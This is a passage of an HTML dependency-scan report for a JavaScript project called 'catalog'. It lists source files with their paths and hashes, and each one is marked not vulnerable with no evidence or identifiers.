class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header105" class="subsectionheader white">Identifiers</h4><div id="content105" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l53_166a8fb275308b25c28236da491dbf03e13411c9"></a>production.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/config/production.js<br/><b>MD5:</b> f23c3e35f4bed72ea52dd878c807a852<br/><b>SHA1:</b> 166a8fb275308b25c28236da491dbf03e13411c9<br/><b>SHA256:</b>2329aea5147cbec94c2581ea62df7f32dbd8cf30ee005fc7306f4cc6a89d6cdb</p><h4 id="header106" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content106" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header107" class="subsectionheader white">Identifiers</h4><div id="content107" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l54_87677488d4935e6746662b5020045a5f35c933f9"></a>sourceModel.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/models/sourceModel.js<br/><b>MD5:</b> 363ee94f65693b8b1db4bb775f3c5951<br/><b>SHA1:</b> 87677488d4935e6746662b5020045a5f35c933f9<br/><b>SHA256:</b>78f265dacf3be93bca53aba7ddb6063698bbaa0e4b37fada1fd14367cbe9583f</p><h4 id="header108" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content108" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header109" class="subsectionheader white">Identifiers</h4><div id="content109" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l55_e23f61fcfc470dcc0520da90b1f522a30c91cc28"></a>get_mongodb_url.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/docker/get_mongodb_url.js<br/><b>MD5:</b> da339411b3893896baf0b124db945687<br/><b>SHA1:</b> e23f61fcfc470dcc0520da90b1f522a30c91cc28<br/><b>SHA256:</b>ec706f09b054eea3f2e9b952d124680faae77bb59b350fefca8f88418d78a044</p><h4 id="header110" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content110" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header111" class="subsectionheader white">Identifiers</h4><div id="content111" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l56_4d06314b5f8091025c8c94d4da0d3d715ebab43d"></a>nav.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/nav.js<br/><b>MD5:</b> 73b822abd6c09188b42b80c796a33aed<br/><b>SHA1:</b> 4d06314b5f8091025c8c94d4da0d3d715ebab43d<br/><b>SHA256:</b>3d1b78d984bb302c4caa84f7680643f96131290a85b8301534e1075657da9105</p><h4 id="header112" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content112" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header113" class="subsectionheader white">Identifiers</h4><div id="content113" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l57_ec7b5ac0eaab7a550c14337417d14cc06e0a71b2"></a>mongo.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/lib/mongo.js<br/><b>MD5:</b> 4e1e6cf7067f3faf4c49cdc3e7ef5ae1<br/><b>SHA1:</b> ec7b5ac0eaab7a550c14337417d14cc06e0a71b2<br/><b>SHA256:</b>8a92d32717751b0cab203a22f3324051f8bf7f141194f3f1e743d2d548b44097</p><h4 id="header114" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content114" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header115" class="subsectionheader white">Identifiers</h4><div id="content115" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l58_a36ee2fbb5c61ef07920d5dbf02c464e51a2db0e"></a>sessionStore.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/lib/sessionStore.js<br/><b>MD5:</b> e2878c7cb5475d0ff7ac72d723bc905e<br/><b>SHA1:</b> a36ee2fbb5c61ef07920d5dbf02c464e51a2db0e<br/><b>SHA256:</b>b9188e543e7b8d8873027a2f7335505c67e9710231a1e483688b21fe71b892dd</p><h4 id="header116" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content116" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header117" class="subsectionheader white">Identifiers</h4><div id="content117" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l59_5a582d0e9e4fdea977bcfa9f4eda4e08128ec490"></a>workDetailsView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/workDetailsView.js<br/><b>MD5:</b> 5eede294da5af2d1f387963275fceab5<br/><b>SHA1:</b> 5a582d0e9e4fdea977bcfa9f4eda4e08128ec490<br/><b>SHA256:</b>185897d2c2719cd1b69b097e684b0409860731ffd7e418c17a7722054270bd42</p><h4 id="header118" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content118" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header119" class="subsectionheader white">Identifiers</h4><div id="content119" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l60_4e79cd64c4313852298917742937b559afd337ae"></a>test_mirror.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_mirror.js<br/><b>MD5:</b> cb65c70c0657811faa207d6c69dc2071<br/><b>SHA1:</b> 4e79cd64c4313852298917742937b559afd337ae<br/><b>SHA256:</b>9be9c47c93f41f08d4f4c305bfa18e9eb4bb636ff7df936325275c54f82219a1</p><h4 id="header120" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content120" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header121" class="subsectionheader white">Identifiers</h4><div id="content121" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l61_923aeea5e037ec2312fbce285f50d0916ff2f094"></a>search.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/search/search.js<br/><b>MD5:</b> f03795902ab56a25f88620608aee58c2<br/><b>SHA1:</b> 923aeea5e037ec2312fbce285f50d0916ff2f094<br/><b>SHA256:</b>90c54554afc24d5886a6ddb35a06927f52a560b4053764ece4a1a0d66697e715</p><h4 id="header122" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content122" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header123" class="subsectionheader white">Identifiers</h4><div id="content123" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l62_27b682907f218ecd47d89d5ae74195e6af41524d"></a>collectionView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/collectionView.js<br/><b>MD5:</b> f7f39f47a5e22756ea74472ee88b3859<br/><b>SHA1:</b> 27b682907f218ecd47d89d5ae74195e6af41524d<br/><b>SHA256:</b>9e35bf3074b331b7588e45a15d7a28c7d96763e4806e0841befa887d7dd2e193</p><h4 id="header124" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content124" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header125" class="subsectionheader white">Identifiers</h4><div id="content125" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l63_98a9ffbdf821d945958db7a0a7606f1ea9f16773"></a>template.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/config/template.js<br/><b>MD5:</b> e3baf05ac7ba7786b4cc618d5a85158a<br/><b>SHA1:</b> 98a9ffbdf821d945958db7a0a7606f1ea9f16773<br/><b>SHA256:</b>96c9c6025303bd874cb9041250787124e5fbe5c9e0e4a03a06c5a2cdea82e9f1</p><h4 id="header126" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content126" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header127" class="subsectionheader white">Identifiers</h4><div id="content127" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l64_f889b44b9aacd23f762a9fbf05772c803271c277"></a>postModel.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/models/postModel.js<br/><b>MD5:</b> 9c013938b67d6e35947370a9ffdd6d18<br/><b>SHA1:</b> f889b44b9aacd23f762a9fbf05772c803271c277<br/><b>SHA256:</b>1ae893532686b3631d564165f21d4f52d1184b4293cacfe7f446af66f9a6ab1c</p><h4 id="header128" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content128" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header129" class="subsectionheader white">Identifiers</h4><div id="content129" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l65_1af67f7475d04168615d4cbab0090bdd3a53dc36"></a>workView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/workView.js<br/><b>MD5:</b> 0261f357ee21eb5fb113907c7f53ab3d<br/><b>SHA1:</b> 1af67f7475d04168615d4cbab0090bdd3a53dc36<br/><b>SHA256:</b>38c510789ceab9c6a05c89e9d4f62b2e09d42e67ea868870739f91a2fdddca5d</p><h4 id="header130" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content130" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header131" class="subsectionheader white">Identifiers</h4><div id="content131" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l66_c0d31babd0551a72e61e00f8523892f80e31eb78"></a>mirror.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/mirror.js<br/><b>MD5:</b> 10c2d9608771672632d6d6a05312bec8<br/><b>SHA1:</b> c0d31babd0551a72e61e00f8523892f80e31eb78<br/><b>SHA256:</b>a36814beb8b98f1129d9bb6097a76382dc8a5a3fdac0b39c76bb7661dc4c7864</p><h4 id="header132" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content132" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header133" class="subsectionheader white">Identifiers</h4><div id="content133" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l67_c98cfffa39c86e8bfd3599939818480273468c57"></a>main.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/search/main.js<br/><b>MD5:</b> 7a68ba663d2e9255aa7556edf71af8ad<br/><b>SHA1:</b> c98cfffa39c86e8bfd3599939818480273468c57<br/><b>SHA256:</b>a9614926afcd683a8e05a7759c5bdd67a375f678bd7ff88b2770016f505763cc</p><h4 id="header134" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content134" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header135" class="subsectionheader white">Identifiers</h4><div id="content135" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l68_d295a05572ab425401a1cc5220997e7d0762557b"></a>browseWorks.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/browseWorks.js<br/><b>MD5:</b> d3225b05392401cd76e1055092444ae0<br/><b>SHA1:</b> d295a05572ab425401a1cc5220997e7d0762557b<br/><b>SHA256:</b>754d64acd4e3c4fffa3d05317668c0c27c2bba1e99af1760b9d5cf2738d0400e</p><h4 id="header136" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content136" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header137" class="subsectionheader white">Identifiers</h4><div id="content137" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l69_d34305a3acc9ddc072a00597a444d2594a5c82f4"></a>postCollection.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/collections/postCollection.js<br/><b>MD5:</b> 7979f54eefb63692af2a2afa5a79959c<br/><b>SHA1:</b> d34305a3acc9ddc072a00597a444d2594a5c82f4<br/><b>SHA256:</b>842cdc1417441e0402a5efda269a86987c336fe90918db04389ba9d33d097a23</p><h4 id="header138" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content138" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header139" class="subsectionheader white">Identifiers</h4><div id="content139" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l70_ae39bae37fc11b24f5952c85c3600bcc75c0b47b"></a>db.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/db.js<br/><b>MD5:</b> 587168717c7fa0131e5f179e7174a42a<br/><b>SHA1:</b> ae39bae37fc11b24f5952c85c3600bcc75c0b47b<br/><b>SHA256:</b>abaa6f01fefdb98711bb697073edad6901f10f1af4d5581acc18c6995dba87fd</p><h4 id="header140" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content140" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header141" class="subsectionheader white">Identifiers</h4><div id="content141" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l71_689ad4ac9d3a1d9f626c8824387fb03a0cbd7eb4"></a>boot.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/boot.js<br/><b>MD5:</b> e534d8046f32e271e48e759c9c6231ef<br/><b>SHA1:</b> 689ad4ac9d3a1d9f626c8824387fb03a0cbd7eb4<br/><b>SHA256:</b>fc3f7366c65f6eccd0be4b40c53aab17acb3319cb4fbe4a4a6eaa17313bd8b9d</p><h4 id="header142" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content142" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header143" class="subsectionheader white">Identifiers</h4><div id="content143" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l72_a057b0f4b6953753b639660c41a1066176732952"></a>gravatar.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/lib/gravatar.js<br/><b>MD5:</b> 15f10f9b37da8d659e3e896b1f3422e7<br/><b>SHA1:</b> a057b0f4b6953753b639660c41a1066176732952<br/><b>SHA256:</b>3c9c877c0cafd69cb07e09a6585f7589c28ffb85f48afd51409cb7de5d3ce509</p><h4 id="header144" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content144" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header145" class="subsectionheader white">Identifiers</h4><div id="content145" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l73_932ac65a60e724b190884952e555ae17abc2691d"></a>db.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/search/lib/db.js<br/><b>MD5:</b> 0ff435ff46b9f0a5d49f031b7b136f30<br/><b>SHA1:</b> 932ac65a60e724b190884952e555ae17abc2691d<br/><b>SHA256:</b>c5efa7cdbea9cc5ab44fc427fb4f2726ebccc7e4c27b0eb2d7c78dc20bd4fae5</p><h4 id="header146" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content146" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header147" class="subsectionheader white">Identifiers</h4><div id="content147" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l74_b2cb6a42a4967ce2cd3ab2501cddea91aa8ea019"></a>workListItemView.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/catalog/public/app/views/workListItemView.js<br/><b>MD5:</b> 557634549467d0bdb7ca3ba612b38310<br/><b>SHA1:</b> b2cb6a42a4967ce2cd3ab2501cddea91aa8ea019<br/><b>SHA256:</b>cb5df6e1bc3f513020abd5b405d234de9efe97ce3348c8bcd4a57acf2b2877cd</p><h4 id="header148" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content148" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header149" class="subsectionheader white">Identifiers</h4><div id="content149" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l75_9331c86818d79a5170fe66c31c18806aece87e44"></a>rest.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/rest.js<br/><b>MD5:</b> ecd7ff55806821f46adbb270153bf96b<br/><b>SHA1:</b> 9331c86818d79a5170fe66c31c18806aece87e44<br/><b>SHA256:</b>f4cdd254cb44f1bdcab6484b909cb6147c7f290505d291737e486cad01ce19af</p><h4 id="header150" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content150" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header151" class="subsectionheader white">Identifiers</h4><div id="content151" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l76_e16391ef8ea0d2005e66b545dd8ed8e38eb85028"></a>test_user.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/tests/test_user.js<br/><b>MD5:</b> 162b2af57b258d49f3b6f0b65616c094<br/><b>SHA1:</b> e16391ef8ea0d2005e66b545dd8ed8e38eb85028<br/><b>SHA256:</b>b863f42625b94ada657c67a26ddb233645443e17d0d5ff5e1c4de950cebcbfac</p><h4 id="header152" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content152" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header153" class="subsectionheader white">Identifiers</h4><div id="content153" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l77_e46d7e27712cf1f5da1766670ed55778dcef81e4"></a>main.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/main.js<br/><b>MD5:</b> 17fc389ac4aa49aabeaff9c03fce3243<br/><b>SHA1:</b> e46d7e27712cf1f5da1766670ed55778dcef81e4<br/><b>SHA256:</b>a2d860e41a96077332d6d5c001376a65c961387027e9ad27f588a0b4bd38964e</p><h4 id="header154" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content154" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header155" class="subsectionheader white">Identifiers</h4><div id="content155" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l78_c0550339335337ebe5bd185bd24bb603c3025924"></a>transfer.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/event/lib/transfer.js<br/><b>MD5:</b> 8596c6f599e772a97d2dc3f7ce3fed07<br/><b>SHA1:</b> c0550339335337ebe5bd185bd24bb603c3025924<br/><b>SHA256:</b>7a894e08e735b9b9063d898b4b33c8f739938f86d491a3c660e7c32b26a1afd8</p><h4 id="header156" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content156" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header157" class="subsectionheader white">Identifiers</h4><div id="content157" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l79_aa2f96ddd863ccaf76c4814b4d53cecfb92804e4"></a>organisation.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/core/lib/organisation.js<br/><b>MD5:</b> 614e31872b59832459d061b30ba85bf7<br/><b>SHA1:</b> aa2f96ddd863ccaf76c4814b4d53cecfb92804e4<br/><b>SHA256:</b>e71f732b48097050e1bf85ea94f01e29b4b3baadcca8a7ad1f255772eaf1b9c3</p><h4 id="header158" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content158" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header159" class="subsectionheader white">Identifiers</h4><div id="content159" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l80_79cd2bf00e794acc17b19cfd3c16a94c9c222d11"></a>lookup.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/search/lib/lookup.js<br/><b>MD5:</b> 01848a736f045d0bf0882a99ea3c30a5<br/><b>SHA1:</b> 79cd2bf00e794acc17b19cfd3c16a94c9c222d11<br/><b>SHA256:</b>24e62b1271b21fc3d92a2ed36f076b7e1eb48876f887fe5b9728b77ea3ac2684</p><h4 id="header160" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content160" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header161" class="subsectionheader white">Identifiers</h4><div id="content161" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l81_52ba433d36af38e433c4b5cfbbf2247d649ab789"></a>process.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/modules/event/lib/process.js<br/><b>MD5:</b> 3c9c2c3a7aa5a3c81cc03ac7b703e1ea<br/><b>SHA1:</b> 52ba433d36af38e433c4b5cfbbf2247d649ab789<br/><b>SHA256:</b>dd0da06c28afe6b1d7cf428178c42b1bf32e4ee3f4a51f849395aa696d55e0c6</p><h4 id="header162" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content162" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr></table></div><h4 id="header163" class="subsectionheader white">Identifiers</h4><div id="content163" class="subsectioncontent standardsubsection"><ul><li><b>None</b></li></ul></div></div><h3 class="subsectionheader standardsubsection notvulnerable"><a name="l82_d3e7be2dc879a9d51ca9f879728ed7137353095e"></a>organisations.js</h3><div class="subsectioncontent notvulnerable"><p><b>File Path:</b> /home/jonas/catalog/frontend/lib/api/organisations.js<br/><b>MD5:</b> e462dca1920cc88a6c8295e676e84bce<br/><b>SHA1:</b> 